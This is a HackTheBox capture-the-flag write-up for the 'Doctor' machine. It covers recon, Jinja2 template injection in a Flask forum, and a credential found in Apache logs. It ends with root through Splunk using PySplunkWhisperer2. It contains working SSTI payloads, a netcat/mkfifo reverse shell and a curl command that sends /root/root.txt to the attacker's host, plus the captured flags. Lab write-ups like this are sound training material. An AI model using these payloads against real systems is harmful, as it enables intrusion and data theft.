Doctor - HackTheBox Write-up
Table of Contents
Intro⌗
Greetings, here is my write-up for the doctor
HackTheBox machine. I hope you enjoy the read! If
you’re in a hurry, skip to the TL;DR section at the end.
Doctor is considered an easy Linux box by HackTheBox standards. It’s a well rounded box because
its solution is composed of a mix of basic enumeration, basic priviledge escalation and also some
recent CVE exploitation that can be accomplished with off-the-shelf tools. As we will see, the
hardest part in breaking doctor
is finding where to exploit it and getting a foot hold on it.
A real head scratcher that reminds us that the solution is always right under our nose. We’re
either overthinking it or simply not seeing it.
After solving doctor
, we won’t be able to help but notice the amount of clues the information card
picture actually gives out! Alright, enough talking, let’s get to work.
Initial Recon⌗
Enumeration⌗
First and foremost, as with any target we engage, we need to start by doing some basic enumeration
and reconnaissance work because we can’t engage a box without knowing what’s running on it. This
basically means we need to run a port scan to get that information and this is accomplished by using
nmap
with the -sV
. The -sV
flag simply tells nmap
to probe the open ports to gather the
service and version information.
Let’s see what we got.
$ nmap -sV 10.10.10.209
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-24 21:31 EDT
Nmap scan report for 10.10.10.209
Host is up (0.027s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.84 seconds
There are a few things of interest here. First, the machine serves up some SSH (version OpenSSH 8.2p1) – we might need this to log into it. Second, it serves HTTP using Apache 2.4.41. This indicates that it’s running a web site of some sort. Last but not least, it’s running Splunk – no version information is available yet so it might be something to check out later.
Wild guess is that Splunk will be our main attack vector to obtain root, but we’ll just have to wait and see. This reasoning comes from the fact that this is the only service that is running besides the standard SSH and HTTP services. We’re here to learn new things, aren’t we?
For completion’s sake, let’s do an HTTP enumeration to see if we could glean any more information.
This enumerates directories used by popular web applications or frameworks to fingerprint them. It
also identifies common directories that can contain interesting files hosted on the web server.
This is achieved by using the
--script=http-enum
flag with nmap
.
$ nmap -sV --script=http-enum 10.10.10.209
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-24 21:43 EDT
Nmap scan report for 10.10.10.209
Host is up (0.031s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-server-header:
| Apache/2.4.41 (Ubuntu)
|_ Werkzeug/1.0.1 Python/3.8.2
8089/tcp open ssl/http Splunkd httpd
| http-enum:
| /robots.txt: Robots file
|_ /services/: Potentially interesting folder (401 Unauthorized)
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 316.44 seconds
Here’s something unexpected. Looking at the results for port 80
, nmap
found two services there.
Apache and Werkzeug. For the unfamiliar, Werkzeug is a utility library for Python for building WSGI
(Web Server Gateway Interface) applications. For anyone having done web development, this hints to a
Flask application. This is valuable information
that could possibly lead to our foothold.
Next, on port 8089
, we have the /services
directory from Splunk and a standard robots.txt
. A
robots.txt
file provides instructions to web crawlers on what they can or can’t visit. See
here for more information. As for the /services
folder, pointing our web browser to 10.10.10.209:8089/services
serves up an authentication
prompt for which we do not have credentials yet. Let’s take note of this and move on for now.
Web Surfing⌗
With basic enumeration done, let’s engage the machine. Visiting the hosted static site through a web browser doesn’t bring up much: a simple, static site where every page is the same.
I’ll be honest, I spent way more time poking around than I’d like to admit. Let’s have a look at the header while requesting the static content.
Using a basic curl
command yields these results
$ curl -vvv http://10.10.10.209:80/
* Trying 10.10.10.209:80...
* Connected to 10.10.10.209 (10.10.10.209) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.209
> User-Agent: curl/7.73.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 25 Oct 2020 02:39:20 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Sat, 19 Sep 2020 16:59:55 GMT
< ETag: "4d88-5afad8bea6589"
< Accept-Ranges: bytes
< Content-Length: 19848
< Vary: Accept-Encoding
< Content-Type: text/html
As expected, by looking at the Server:
header, Apache is serving up the static site. After
spending a crazy amount of time looking through the website, looking at the source code and almost
giving up, I noticed an email in the contact information section. The “send us a message” address is
info@doctors.htb
.
At wit’s end, I passed doctors.htb
as the host in my request header by using the
--header "Host: doctors.htb"
flag with curl
.
$ curl -vvv http://10.10.10.209:80/ --header "Host: doctors.htb"
* Trying 10.10.10.209:80...
* Connected to 10.10.10.209 (10.10.10.209) port 80 (#0)
> GET / HTTP/1.1
> Host: doctors.htb
> User-Agent: curl/7.73.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 FOUND
< Date: Sun, 25 Oct 2020 02:44:08 GMT
< Server: Werkzeug/1.0.1 Python/3.8.2
< Content-Type: text/html; charset=utf-8
< Content-Length: 237
< Location: http://doctors.htb/login?next=%2F
< Vary: Cookie
< Set-Cookie: session=<some cookie>; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host 10.10.10.209 left intact
<p>You should be redirected automatically to target URL: <a href="/login?next=%2F">/login?next=%2F</a>. If not click the link.
Bingo. Werkzeug/Python served this up (Server info in the header) and is actually redirecting us
(302
HTTP reponse) to /login?next=%2F
. Things like this is what what made this machine
difficult in my opinion and pushed my curiosity a bit – there is a lot of non technical things to
look out for. Some information is hiding in plain sight.
Alright, this is great and we’re making progress but what actually happened here? Why would we
even think of using doctors.htb
in the host header? Apache (and web servers in general) can be
configured to host multiple web sites based on domains and leverage the host header in the HTTP
request to know which site to serve up to the client. Apache has
documentation on how to set this up.
Adding the following entry to the /etc/hosts
file
10.10.10.209 doctors.htb
makes it possible to use doctors.htb
to reach the doctor
box. For more information on the
/etc/hosts
, look up “local DNS” in your favorite search engine.
By surfing to http://doctors.htb
, we are leveraging this addition and our browser will use
doctors.htb
in the host header of the outgoing HTTP request. We are now presented a login screen
And there you have it, we stumbled upon a login screen to a portal where we can create an account and post messages – user input. Let’s create an account and see where this leads us to.
Foothold⌗
Attack Vector⌗
Next on the list is finding our primary attack vector. After creating an account on the login screen, we enter a forum where you can post messages with a title and a body. This is nothing special but it looks templated. Hopefully we can take advantage of that.
Armed with the knowledge that this site was built in Flask and is likely templated, we can try some basic server side template injection (SSTI). The principle of server side template injection is to provide template directives as user input. You can read more about SSTI in Flask and Jinja2 (a templating engine) here or you can reference this cheat sheet.
After trying to insert some templating recon, results weren’t as expected
Let’s stop here for a moment and ponder why we’re trying {{ 7*7 }}
and what is it that we were
expecting. As stated above, we’re trying provide a template directive as the user input. Had it
been successful, we would have observed 49
instead of {{ 7*7 }}
because Python would have
computed the multiplication and replaced it in the template when generating the page to display.
This is not the case here. Python is just taking the input and showing it as-is.
This part also took me more time than I’d like to admit. Sometimes the clues are right under your nose. If we dig through the source code of the forum, you will find the following at the top of the body section
<div class="collapse navbar-collapse" id="navbarToggle">
<div class="navbar-nav mr-auto">
<a class="nav-item nav-link" href="/home">Home</a>
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
</div>
<!-- Navbar Right Side -->
Beta testing? Sounds promising… If we try going to http://doctors.htb/archive
, we are met with
a blank page. Looking at the response through our browser’s dev tools, we see that it contains the
titles of the messages we created in the forum earlier and that the injection recon we tried
({{ 7*7 }}
) is actually computed (<title>49</title>
)
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>asd</title></item>
</channel>
<item><title>123</title></item>
</channel>
<item><title>49</title></item>
</channel>
This computation is enough to know that the templating engine is parsing the injection as valid directives and executing it as Python code. It’s time to see if we can get it to execute something on the command line through Python directives. The payload would look something like this:
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami; id').read()}}
Let’s not go into crazy detail about this but what we’re doing is requesting, through Python, that
the remote machine executes the whoami
and id
shell commands. whoami
informs us who the
commands is being executed as (the user that is used to run the service on the server) and the
id
command gives us extra information about the said user.
You can checkout the Python popen documentation if you want to dig deeper into the popen function used to run shell commands.
After adding that injection, we can browse back to the /archive
endpoint to see the results
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>asd</title></item>
</channel>
<item><title>123</title></item>
</channel>
<item><title>49</title></item>
</channel>
<item><title> web
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
</title></item>
</channel>
Here’s the part in the response that is of interest:
</channel>
<item><title> web
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
The result is the output of our whoami; id
command. So now we know that we can run some shell
commands through the templating engine and that we’re in fact running these commands as the web
user, who belongs to the web
and adm
groups.
We’re making good progress here and the next step is to try to acquire a
reverse shell. Following that, we can start
the process of moving out of our low privileged user (web
in this case).
Reverse Shell⌗
Using the SSTI method outlined above, we can now try our hand at a reverse shell. Starting with nc
(netcat) and using the most common method, I couldn’t obtain
successful results. Here’s what the payload would have looked like
{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /usr/bin/sh <ip> 4545').read()}}
By the way, <ip>
should be replaced with our machine’s IP address on the HackTheBox.eu network.
Then, on our machine, we would have executed the following netcat command
nc -lvp 4545
As stated above, I wasn’t able to get netcat to execute /usr/bin/sh
so I couldn’t get the remote
machine to connect to mine and get the reverse shell. We’re going to have to resort to some bash-fu
and a little bit of sorcery. Let’s look at this alternative
rm /tmp/asd;mkfifo /tmp/asd;cat /tmp/asd|/usr/bin/sh -i 2>&1|nc <ip> 4545 >/tmp/asd
This creates a kind of feedback loop that whatever is received by netcat gets written
into the /tmp/asd
file (nc <ip> 4545 >/tmp/asd
) which in turn gets piped into /usr/bin/sh
(cat /tmp/asd|/usr/bin/sh -i 2>&1
). The 2>&1
simply tells the system to redirect
the standard error output into standard output.
Alright, hold your horses, why would this work and not the previous nc -e /usr/bin/sh/
command?
Instead of using the -e
netcat flag to execute a program after a connection is established, we’re
using netcat to pass strings back and forth between the remote host and our machine. The strings
received are written into the /tmp/asd
file and that is getting piped into the /usr/bin/sh
command to execute whatever we just sent it.
This post is a good startng point if you’re curious about the redirection and piping mysticism in the above string of commands.
This new revised command grants us the reverse shell we are after.
$ nc -lvp 4545
Connection from 10.10.10.209:47142
/usr/bin/sh: 0: can't access tty; job control turned off
$ ls -la
total 48
drwxr-xr-x 6 web web 4096 Sep 28 15:04 .
drwxr-xr-x 4 root root 4096 Sep 19 16:54 ..
lrwxrwxrwx 1 web web 9 Jul 26 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 web web 220 Jul 20 22:34 .bash_logout
-rw-r--r-- 1 web web 3771 Jul 20 22:34 .bashrc
drwxr-xr-x 3 web web 4096 Sep 22 11:29 blog
-rwxrwxr-x 1 web web 135 Jul 26 14:12 blog.sh
drwxrwxr-x 5 web web 4096 Jul 27 20:45 .cache
drwxr-xr-x 4 web web 4096 Jul 27 20:45 .config
drwxrwxr-x 5 web web 4096 Jul 26 12:46 .local
-rw-r--r-- 1 web web 807 Jul 20 22:34 .profile
-rw------- 1 web web 177 Jul 27 20:45 .python_history
-rw-rw-r-- 1 web web 66 Jul 26 12:44 .selected_editor
$
We now have obtained a shell on the machine and we can start looking around in a more convenient
fashion compared to injecting every single command we want to execute and browsing to the /archive
endpoint. We also learned that there are work arounds to not being able to execute commands using
netcat on the remote machine. Let’s go catch that user flag!
User⌗
Privilege Escalation⌗
Now that we have a shell, let’s go snooping around to find a way to elevate our privileges and get the user flag. We will be engaging in some basic recon work and some looking around. One good first step would be to find out who the target user is.
$ ls /home
shaun
web
$ ls -l /home/shaun
total 4
-r-------- 1 shaun shaun 33 Nov 7 20:04 user.txt
$
Okay, shaun
is our man. We obviously don’t have access to the user.txt
file in his home directory
but that’s the file that contains the user flag. Based on the permission scheme for it, only shaun
(or root
) can read its contents. We can carry on by using tools like
linPEAS
or sleuthing manually through the system. These types of enumeration tools run a bunch of commands
and they also look around the system and its log files. Enumeration tools try to identify potential
targets for privilege escalation but will not do exploits for you. You will be handed a thorough
report when the tool completes its run which will contain a large amount of possible escalation
vectors. This can be seriously overwhelming for someone who isn’t familar with this type of thing.
This amount of information will have us spend more time reading the report than actually trying
things and understanding what we’re doing.
Let’s see what we can come up with on our own. General rule of thumb, log files can be a good starting point to look into and as stated previously, enumeration tools will look into system logs for passwords, failed authentication attemps, errors, that sort of thing.
Grepping for password
in /var/log
brings up all the lines for every file under /var/log
that
matches our search criteria of password
. Not shown here since it would take up a good amount of
space, but the number of matches was pretty large. Spending a good amount of time looking at the
matches payed off as the following line struck my curiosity nerve:
$ grep -r -i "password" /var/log
...
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
...
$
Interesting. A POST
request to some sort of password reset endpoint on the server (it was found in
the Apache log). Using Guitar123
as an email in a password reset request is pretty odd since it’s
obviously not an email. We can’t consider it a password either because if someone is resetting
their password, they essentially forgot what it was. They can’t have mistakenly typed it in as the
email in the request. On the other hand, we can all agree that Guitar123
does look like a poor
password someone might use. This is an other instance where a lot of time was spent digging for
information and ending up trying trivial and desperate things to progress to the next point.
If we try su
-ing into shaun
, we get asked for his password. At this point, we’re desperate
again so let’s try Guitar123
.
$ su shaun
Password: Guitar123
whoami
shaun
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
Well… It worked… Let’s stay collected and cat the user.txt
file to obtain the user flag.
cat /home/shaun/user.txt
7dfec0e6330b1ec2b10db9728217fb7e
Well deserved. I’ve stated this before but let’s take some time to reflect on it again. Up until
now, we haven’t done any complex exploitation. We’re using basic every-day commands and looking for
information that is readily available on the machine we’re trying to break. The password for our
target user can be found in a log entry for a messed-up password reset attempt. This box teaches
us some good lessons. Enumeration tools wouldn’t have helped much. If you do try it, the tool will
have pulled up the same log as we did with our grep
command. We would still have had to go through
the log and identify that line.
Understanding what we’re doing and what we’re looking for has a lot more value in this case than trying to use tools that will do the work for us.
Root⌗
Now that we have the user flag, let’s see about root. From the initial recon, we
know this box is running Splunk on port 8089
. Let’s go have a look by pointing our browswer
to doctors.htb:8089/
Good, we now have a version – 8.0.5
. We’ll do some digging later and try to find vulnerabilities
related to it. We can start by looking around and trying things. services
brings up a login
prompt. Same thing for servicesNS
. rpc
, which stands for remote procedure call
, brings up an
invalid request page and static
returns a 404
.
Let’s try the obvious and read trough the documentation and try default passwords. It’s surprising how often people run services on their machines and don’t change the default configured passwords.
This time though, they did change it. The only username / password pair that we have on this system
for now is shaun/Guitar123
. Browsing back to the services
page and using these credentials
actually grant us access to it. After a few minute of poking around, we’re not finding anything of
obvious interest. The World Wide Web can be of huge service to us in such cases so let’s see if
there aren’t any known exploits for Splunk 8.0.5. I stumbled upon this great
article
that explains the concept on how to exploit Splunk for shells and persistence.
The reason why this is interesting and it can help us obtain root
access is because the Splunk
service is actually run by the root
user. We can confirm this by using our
reverse shell and running ps
$ ps aux | grep splunkd
root 1143 0.1 2.3 265920 93044 ? Sl Nov07 0:02 splunkd -p 8089 start
root 1145 0.0 0.3 77664 15700 ? Ss Nov07 0:00 [splunkd pid=1143] splunkd -p 8089 start [process-runner]
web 1734 0.0 0.0 17668 656 ? S 00:07 0:00 grep splunkd
Following the article and using the PySplunkWhisperer2
tool, all we have to do is set it up so that PySplunkWhisperer2_remote
sends us the
/root/root.txt
file. Since we already validated that we can use shaun
’s credentials for Splunk,
that’s what we’ll pump into PySplunkWhisperer2
for the user name and password.
python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/root/root.txt' http://<ip>:4545" --lhost <ip>
In the above command, as previously stated, <ip>
has to be replaced with your machine’s IP address
on the HackTheBox.eu network. We also need to setup netcat to receive the content with the following
command
$ nc -lvp 4545
Connection from 10.10.10.209:56646
POST / HTTP/1.1
Host: 10.10.15.9:4545
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 219
Content-Type: multipart/form-data; boundary=------------------------1e3af6b22be334f1
--------------------------1e3af6b22be334f1
Content-Disposition: form-data; name="data"; filename="root.txt"
Content-Type: text/plain
fe46f36187c9299663d023c7f9bd1d74
--------------------------1e3af6b22be334f1--
And there you have it. The contents of /root/root.txt
have been gracefully sent to us through
netcat. We now have the root flag and all that we need to solve for this box.
Conclusion⌗
This box was pretty challenging for an easy one – especially for the foothold. Finding the portal,
the /archive
endpoint where the actual SSTI is happening, getting the reverse shell and finding
the password (needle in a haystack) were the most time consuming parts of this machine. The
interesting thing in all of it is that it didn’t take much wizardry to extract the necessary
information to progress through the different steps and obtain the user flag. A good eye and enough
curiosity is all that it took. I thoroughly enjoyed the learning opportunities this box provided and
the fact that it forces you to dig and think outside the box instead of relying on scripts and CVEs.
Rooting the box after finding the credentials was pretty straight forward. Thanks for sticking around and reading through this article. I hope you enjoyed reading it as much as I enjoyed writing it. Special thanks go to my brother for his help with the review process of this article!
- redbay
TL;DR⌗
Foothold⌗
- Put
10.10.10.209 doctors.htb
in your/etc/hosts
file and usedoctors.htb
to access the HTTP server on the machine. - Create an account on the login page and use the following as a title for your forum post:
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/asd;mkfifo /tmp/asd;cat /tmp/asd|/usr/bin/sh -i 2>&1|nc <ip> 4545 >/tmp/asd').read()}}
and replace<ip>
with your machine’s IP address on the HackTheBox.eu network. - Setup netcat to listen on port 4545
nc -lvp 4545
- Surf to
doctors.htb/archive
- From your reverse shell,
grep -r -i 'reset_password' /var/log
- Find the
Guitar123
password from the logs.
User⌗
su shaun
and use theGuitar123
password when prompted.cat /home/shaun/user.txt
->7dfec0e6330b1ec2b10db9728217fb7e
Root⌗
- Use PySplunkWhisperer2 to exploit Splunk 8.0.5 and use Shaun’s credentials (
shaun/Guitar123
)python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/root/root.txt' http://<your IP>:4545" --lhost <your IP>
- Setup netcat to listen on port 4545
nc -lvp 4545
- Wait and get root flag ->
fe46f36187c9299663d023c7f9bd1d74